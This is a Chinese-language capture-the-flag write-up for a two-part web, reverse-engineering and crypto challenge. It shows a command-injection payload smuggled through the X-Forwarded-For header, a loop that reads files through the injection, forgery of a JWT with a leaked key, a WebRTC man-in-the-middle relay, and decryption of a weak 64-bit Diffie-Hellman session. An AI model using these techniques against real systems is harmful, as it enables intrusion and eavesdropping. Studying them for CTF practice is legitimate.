前言
Part 1 (150 pts) —7 solves pasten A0E Tea Deliverers
Part 2 (400 pts) — 1 solves pasten
Part 1: Tom Nook and Isabelle have been exchanging text messages over Mooz recently. Is Tom Nook looking for something besides bells these days?
Part 2: Timmy and Tommy are now using Mooz to manage their store from a safe distance. Thankfully their video chats are end-to-end encrypted so nobody can steal their secrets.
知识点
- Part1: 命令注入、JWT泄露
- Part2:中间人攻击获取数据包、64 bit Diffie-Hellman (使用GFNS算法分解)
逆向部分
安装IDAGolangHelper插件
绑定的路由以及对应处理的handle
App_handleRequest(main_handleLogin, /api/login)
App_handleRequest(main_handleRegister, /api/register)
App_handleRequest(main_handleMessage, /api/message)
App_handleRequest(main_handleHost, /api/host)
App_handleRequest(main_handleFind, /api/find)
App_handleRequest(main_handleJoin, /api/join)
App_handleRequest(main_handleJoin, /api/profile)
App_handleRequest(main_handleAvatar, /api/avatar)
App_handleRequest(main_handleadminUsers, /api/adminusers)
App_handleRequest(main_handleAdminRooms, /api/rooms)
App_handleRequest(main_handleAdminMessages, /api/messages)
相关信息
https://github.com/sibears/IDAGolangHelper // IDA GO插件
https://github.com/gorilla/mux // 题目使用mux框架做路由
https://github.com/aiortc/aiortc // 实现中间人所使用的库
aiortc的安装有点坑
https://en.wikipedia.org/wiki/General_number_field_sieve //GNFS求解离散对数算法
Part 1
漏洞点
在main_sandboxCmd中,存在执行命令的功能,且命令中部分内容可控,因此可以进行命令注入
调用顺序
main_handleProfile > main_getAvatar > main_sandboxCmd
在 main_getAvatar中有两处调用 main_sandboxCmd,是为了对Post的avatar内容进行处理,处理完的结果会base返回给用户
第一处为
convert -size %dx%d xc:none -bordercolor %s -border 0 -pointsize 32 -font %s -gravity center -draw "text 0,2 %c" png:- | base64 -w0
第二处为
base64 -d | convert -comment 'uploaded by %s' - -resize %dx%d png:- | base64 -w0
其中第二处的 uploaded by %s由 main_getIPAddr 获得,main_getIPAddr会从请求头中的 X-Forwarded-For取出,而X-Forwarded-For是我们可控的,因此只需要在X-Forwarded-For中进行注入即可
headers = {
"X-Forwarded-For": "1.1.1.1' | echo $(%s | base64 -w0) MAGICMAGIC '" % command,
}
该操作需要一个授权用户,因此需要先进行登录获取一个合法用户的token再命令注入
>>> print(run_command("ps").decode())
PID TTY STAT TIME COMMAND
1 ? SNs 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
4 ? SN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
5 ? SN 0:00 base64 -w0
6 ? SN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
7 ? RN 0:00 ps ax
8 ? RN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
通过注入ps命令观察到,程序应该是跑在沙箱中的,后面发现是用nsjail启动的
>>> print(run_command("ls").decode())
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
发现比较敏感的start.sh , 需要分段读取start.sh,否则太大了
def read_file(file_name):
d = b''
index = 0
while True:
dd = run_command("dd if=%s bs=1 count=4096 skip=%d" % (file_name, index))
if not dd:
return d
d += dd
index += 4096
获取到 start.sh 的内容
#!/bin/bash
nginx
······
export JWT_KEY="Pl4idC7F2020"
······
获得JWT_KEY为Pl4idC7F2020,由题干中知道我们的目标是登录tomnook账户,看一下x-chat-authorization中的JWT组成
{
"ipaddr": "xxx.xxx.xxx.xxx",
"username": "xxx"
}
然后就可以构造出tomnook账户的token了
MY_IP = "your ip address"
JWT = "Pl4idC7F2020"
def get_messages():
token = {'ipaddr': MY_IP, 'username': 'tomnook'}
url = "https://chat.mooz.pwni.ng/api/messages"
headers = {
"x-chat-authorization": jwt.encode(token, JWT),
}
r=requests.get(url,proxies = proxies ,verify= False, headers=headers);
assert r.status_code == 200
return json.loads(r.text)
获得第一个flag
[······{u'to': u'tomnook', u'from': u'isabelle', u'data': u'pctf{aModestSumOfShells}'}]
Part 2
现在已经可以登录tomnook账户了,通过 /api/rooms获取房间列表
[{"_id": "000000000000000000000000", "host": "timmy_fc87dfa4", "room": "shop_c0ddd565"}, {"_id": "000000000000000000000000", "host": "timmy_446c2ede", "room": "shop_9415eba1"}]
可以观察到timmy一直在创建房间,每一次都用一个不同的后缀创建(后缀),查看一下前端webpack中chat.js创建房间和加入房间的逻辑
const rtcConfiguration = {
iceServers: [
{ urls: 'turn:45.79.56.244', username: 'user', credential: 'passpass' }
]
}
const dataChannelInit = {
negotiated: true,
id: 0
}
······
async chatHost(room, password) {
this.chatReset()
try {
this.connection = await this.createPeerConnection()
this.channel = this.createDataChannel(this.connection)
const offer = await this.connection.createOffer()
await this.connection.setLocalDescription(offer)
const data = await this.api.host(room, offer)
this.room = data.room
this.peer = data.username
this.packetizer = this.newPacketizer(true, password || '')
await this.connection.setRemoteDescription(data.answer)
this.connected = true
this.sendPendingCandidates()
this.processPeerCandidates()
} catch (e) {
this.chatReset()
console.log(e)
return false
}
return true
}
async chatJoin(room, password) {
this.chatReset()
const data = await this.api.find(room)
this.connection = await this.createPeerConnection()
try {
this.channel = this.createDataChannel(this.connection)
this.room = data.room
this.peer = data.username
this.packetizer = this.newPacketizer(false, password || '')
await this.connection.setRemoteDescription(data.offer)
const answer = await this.connection.createAnswer()
await this.connection.setLocalDescription(answer)
await this.api.join(this.room, answer)
this.connected = true
this.sendPendingCandidates()
this.processPeerCandidates()
} catch (e) {
this.chatReset()
console.log(e)
return false
}
return true
}
chatHost流程大致为创建WebRTC连接,创建Channel给其他用户发送ICE candidates消息,这些消息可以通过 /api/message获得,ICE candidates帮助建立端对端的连接,相当于一个 peer connection 列表
建议阅读一下:https://webrtc.org/getting-started/peer-connections
同样的,chatJoin也会发送类似的消息
[{"to":"a123123","from":"timmy_eb0e6172","type":"ice","data":"{\"candidate\":\"candidate:1876313031 1 tcp 1518091519 ::1 34945 typ host tcptype passive generation 0 ufrag 83oP network-id 5\",\"sdpMid\":\"0\",\"sdpMLineIndex\":0,\"foundation\":\"1876313031\",\"component\":\"rtp\",\"priority\":1518091519,\"address\":\"::1\",\"protocol\":\"tcp\",\"port\":34945,\"type\":\"host\",\"tcpType\":\"passive\",\"relatedAddress\":null,\"relatedPort\":null,\"usernameFragment\":\"83oP\"}"}]
通道建立以后,消息机制如下
async onOpenChannel() {
console.log('open')
if (this.peerConnected) {
return
}
this.peerConnected = true
this.channel.onmessage = (e) => {
const wasReady = this.packetizer.isReady()
const ptr = Module._malloc(e.data.byteLength)
Module.HEAP8.set(new Uint8Array(e.data), ptr)
this.packetizer.processData(ptr, e.data.byteLength)
Module._free(ptr)
this.flushPacketizer()
if (this.packetizer) {
if (this.packetizer.isReady() && !wasReady) {
this.currentPeer = this.peer
if (this.options.onPeerConnected) {
this.options.onPeerConnected()
}
}
const dataType = this.packetizer.getDataType()
if (dataType >= 0) {
const dataPtr = this.packetizer.getData()
const dataSize = this.packetizer.getDataSize()
const data = new Uint8Array(Module.HEAP8.slice(dataPtr, dataPtr + dataSize))
switch (dataType) {
case 0:
if (this.options.onVideoData) {
this.options.onVideoData(data)
}
break
case 1:
if (this.options.onSecureMessage) {
const decoder = new TextDecoder()
this.options.onSecureMessage(this.peer, decoder.decode(data))
}
break
case 255:
this.disconnectPeer()
break
default:
console.error(`Unknown peer message: type=${dataType}, data=${data}`)
break
}
}
}
}
this.flushPacketizer()
}
newPacketizer(hosting, password) {
const rand = new Uint8Array(64)
this.options.getRandomValues(rand)
const randPtr = Module._malloc(rand.byteLength)
Module.HEAP8.set(rand, randPtr)
const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username
const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength)
Module._free(randPtr)
return packetizer
}
其中packetizer的具体实现再webassembly.wasm里,需要逆wasm
下载webassembly.wasm,要通过url下载,不要在f12里下载,用wasm2c转成c代码,编译后丢进IDA中,具体过程就不详细说了,网上很多资料
从wasm中提取出以下主要的方法,这些函数名也可以从f12里看到
Connection(host, nonce, password, seed, seed_size) // the constructor
processData(self, data, size)
sendData(self, type, data, size)
isRead(self)
isError(self)
getOutput(self)
consumeOutput(self)
getData(self)
getDataSize(self)
getDataType(self)
其中Packetizer的实例化过程中用到了几个参数
nonce 其构造格式为
\n password 密钥
randPtr 随机种子
newPacketizer(hosting, password) { const rand = new Uint8Array(64) this.options.getRandomValues(rand) const randPtr = Module._malloc(rand.byteLength) Module.HEAP8.set(rand, randPtr) const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength) Module._free(randPtr) return packetizer }
逆向wasm得到协议细节
// Connection__Connection_bool__char___char___void___unsigned_int_
Connection::Connection(...) {
this->state = 0;
RAND_seed(seed, seed_size);
AES_set_encrypt_key(128, SHA1(password)[:16], nonce_encryptor);
AES_encrypt(nonce, this->encrypted_nonce, nonce_encryptor);
AES_encrypt(nonce+16, this->encrypted_nonce+16, nonce_encryptor);
Connection::setup(this);
}
// Connection__setup__
Connection::setup() {
if (hosting) {
// Create the first packet
dh = DH_new();
DH_generate_parameters_ex(dh, 64, 2, 0);
dh_param_length = i2d_DHparams(dh, dh_param);
DH_generate_key(dh);
dh_pub_key = DH_get_pub_key(dh);
write_byte_to_packet(0);
write_word_to_packet(dh_param_length);
write_bytes_to_packet(dh_param, dh_param_length);
dh_pub_key_bits = BN_num_bits(dh_pub_key);
write_word_to_packet((dh_pub_key_bits+7)/8);
write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
}
}
// Connection__processData_void_const___int_
Connection::processData(this, data, data_length) {
packet_state = read_byte_from_packet();
// check that packet_state == this->state
switch (packet_state) {
case 0: // initialize connection
if (hosting) {
// ...
}
else {
// loads the dh params from packet
DH_generate_key(dh);
dh_pub_key = DH_get_pub_key(dh);
write_byte_to_packet(0);
dh_pub_key_bits = BN_num_bits(dh_pub_key);
write_word_to_packet((dh_pub_key_bits+7)/8);
write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
DH_compute_key(shared_key, other_pub_key, dh); // 8 bytes
key = SHA1("0123425234234fsdfsdr3242" + shared_key)[:16];
AES_set_encrypt_key(128, key, this->send_encryptor);
AES_set_decrypt_key(128, key, this->recv_decryptor);
AES_encrypt(this->encrypted_nonce, encrypted_nonce, this->send_encryptor);
write_bytes_to_packet(encrypted_nonce, 32);
this->state = 1;
}
break;
case 1:
// not interseting, basically change to state to 2
...
case 2: // connection ready
this->data_type = read_byte_from_packet();
this->data_len = read_word_from_packet();
// decrypt the data with this->recv_decryptor
}
}
其中建立连接的数据包格式
Host -> Client:
BYTE - state - 0
WORD - DH parameters length
BYTE[] - DH parameters
WORD - DH public key length
BYTE[] - DH public key (for the connection key)
Client-> Host:
BYTE - state - 0
WORD - DH public key length
BYTE[] - DH public key (for the connection key)
BYTE[32] - encrypted nocne (with password and the connection key)
Host->Clinet:
BYTE - state - 1
传送数据
BYTE - state - 2
BYTE - data type (0 - video data, 1 - text message, 255 - disconnect)
WORD - data length
BYTE[] - data encrypted with the connection key
采用 64 bits 的DH来协商会话密钥,然而,64 bits DH的安全性太弱,可以使用GNFS算法来求解离散对数难题,如果我们能够获得timmy和tommy的通信数据,从中得到DH协商过程的参数,那么我们就可以使用NFS来求解离散对数
那么如何获取通信数据,就要靠中间人攻击了,说实话,MITM在CTF里还是比较少见
中间人攻击步骤
- 通过/api/rooms找到timmy创建的房间
- 通过 /api/join/<room_name> 加入房间 , 与 timmy建立WebRTC连接
- 通过 /api/host/<room_name> 建立与之前加入房间同名的房间,等待tommy加入 ,与 Tommy建立起WebRTC连接
- 通信并获取通信数据包
- 离线破解DH keys
- 解密AES加密的通信数据
注意到
- 我们需要保证作为peer的中间人与作为host的中间人这两个通信的nonce是一样的,而nonce是由host和peer的username构成的,因此我们需要保证他们的名称相同。
- 由于是p2p连接,因此当第二步加入房间以后,timmy建立的房间信息会消失,因此后面再建立一个同名房间是没有问题的
要实现中间人攻击需要用使用支持WebRTC协议的库,使用 aiortc来实现中间人攻击,主要逻辑为
- 获取 rooms
- 选择某个 timmy 建立的房间,比如timmy_abcdefgh
- 用 tommy_abcdefgh 的身份加入房间
- 使用 timmy_abcdefgh的身份再创建房间(有JWT_KEYS)
- 假设作为peer加入房间的通信为 channel1,作为host创建的房间的通信为 channel2
- 将channel1发来的数据转发给channel2,将channel2回应的数据转发给 channel1从而实现中间人的过程
得到数据(我已经按照协议细节用空格划分了一下)
H: b'00 0010 300e020900f142e55f240288a3020102 0008 3255cf918dd81e89'
C: b'00 0008 75781b2554f4927f baca5f08511f02c37ccef8515ff78c4f6b551247e6bb13841792d6b386b1f3a0'
H: b'01'
....
根据前面逆出来的协议,DH所使用的参数为
g=2
p=17384709708392335523
g**x=3627033298973761161
g**y = 8464545346795901567
64位的DH是可以使用 GNFS 算法来在合理的时间内破解的 ,全场唯一做出这道题的 pasten 使用了 GDLOG 来实现求解,相关的使用过程就不在这里赘述了,求解出x的值,由于DH中shared secret的值为 g**(x*y) mod p 所以,我们只需要计算 (g**y)**x mod p就可以得到shared secret
In [1]: hex(pow(gy, x, p))
Out[1]: '0x7c35faf0dad285c9'
然后解密
data = b''
aes = AES.new(hashlib.sha1(b"0123425234234fsdfsdr3242" + codecs.decode("7c35faf0dad285c9", "hex")).digest()[:16])
for packet in packets:
state = packet[0]
if state != 2:
continue
ptype, length = struct.unpack(">BH", packet[1:4])
data += aes.decrypt(packet[4:])[:length]
open("video.webm", "wb").write(data)
得到一段timmy和tommy之间端对端的video chat,flag在图像里
pctf{TurnipFireSale}
总结
比赛的时候没来得及看这道题(看了也做不出来 :( ,赛后复盘,觉得这道题目考察的能力比较综合,涉及到 Web + Re + Crypto ,而且中间人的点出在web里是比较新颖的一个点了。